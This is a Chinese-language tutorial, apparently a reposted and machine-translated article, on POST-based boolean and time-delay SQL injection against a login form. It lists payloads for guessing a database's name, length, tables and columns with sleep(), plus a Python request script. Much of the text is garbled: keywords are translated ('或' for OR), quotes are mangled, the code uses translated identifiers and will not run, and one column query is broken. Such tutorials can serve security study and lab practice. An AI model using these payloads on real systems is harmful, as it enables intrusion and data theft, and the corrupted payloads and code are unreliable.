POST 方式时间注入是一种 SQL 注入攻击方法,它利用了 Web 应用程序中对 POST 请求参数处理不当的漏洞。在这种攻击中,攻击者会构造特定的 POST 请求,其中包含恶意的时间相关数据,以达到绕过验证、执行非法操作或获取敏感信息的目的。
基于布尔型/时间延迟POST注入
使用黑客栏
请输入“?id=1”
请输入“?id=1”
请输入“?id=1”
由于没有错误消息,我们可以假设这是一个无错误插入。
如果用户未知,则字符插入必须由POST 类型和通用语句确定,例如:
1 或1=1 — # 1) 或1=1– # 1)) 或1=1– #
1\’ 或1=1 — # 1\’) 或1=1– # 1\’) 或1=1– #
1\’ 或1=1 — # 1\’) 或1=1– # 1\’) 或1=1– #
由此我们可以看出,这道题是关于布尔注入的。
猜猜数据库
uname=1\’orleft(database(),1)\’a\’ — #passwd=1 正确返回
uname=1\’orleft(database(),1)\’s\’ — #passwd=1 返回错误
uname=1\’orleft(database(),1)=\’s\’ — #passwd=1 返回正确的值
由此我们可以推断出数据库中的第一个数字是s。然后猜第二个数字:uname=1\’ 或left(database(),2)\’sa\’ — #passwd=1
估计数据库长度
uname=1passwd=1\’ 或if(length(database())=8,1,sleep(5))– #
1、猜测数据库名(可以使用=比较来确定字符范围,并使用二分法逐步缩小范围)
uname=1passwd=1\’ 或If(ascii(substr(database(),1,1))=115,1,sleep(5))– #
uname=1passwd=1\’ 或If(ascii(substr(database(),2,1))=101,1,sleep(5))– #
……。
2. 推断数据库中的表。
猜测第一个数据表中的第一个数字是e 并像这样检索电子邮件.
uname=1passwd=1\’ 或If(ascii(substr((select table_name from information_schema.tables where table_schema=\’security\’ limit 1,1),1,1))=114,1,sleep(5))– #
uname=1passwd=1\’ 或If(ascii(substr((select table_name from information_schema.tables where table_schema=\’security\’ limit 1,1),2,1))=101,1,sleep(5))– #
3. 推断users 表的列。
uname=1passwd=1\’ 或If(ascii(substr((table_name=\’users\’ and table_schema=database() limit 0,1),1,1) select 列名from information_schema.columns) )=105,1,sleep (5))– #
类推获取数据库内容
下面是用Python 编写的示例代码,演示了如何执行POST 时间注入。
导入请求
# 目标网址
网址=\’http://example.com/login\’
# 构建恶意时间注入有效负载
有效负载=\’用户名=管理员\’ AND SLEEP(5)– \’
数据={
“用户名”:有效负载,
\’密码\’: \’密码123\’
}
#发送POST请求
响应=request.post(url, 数据=数据)
#打印响应时间
print(\’响应时间:\’, response.elapsed.total_seconds())
注意:时间注入是一种非法攻击,可能会严重损害他人的系统或数据。请在实际开发过程中遵守法律法规和道德规范。
以上关于#POST方法时间注入源码网络的相关内容仅供大家参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91218.html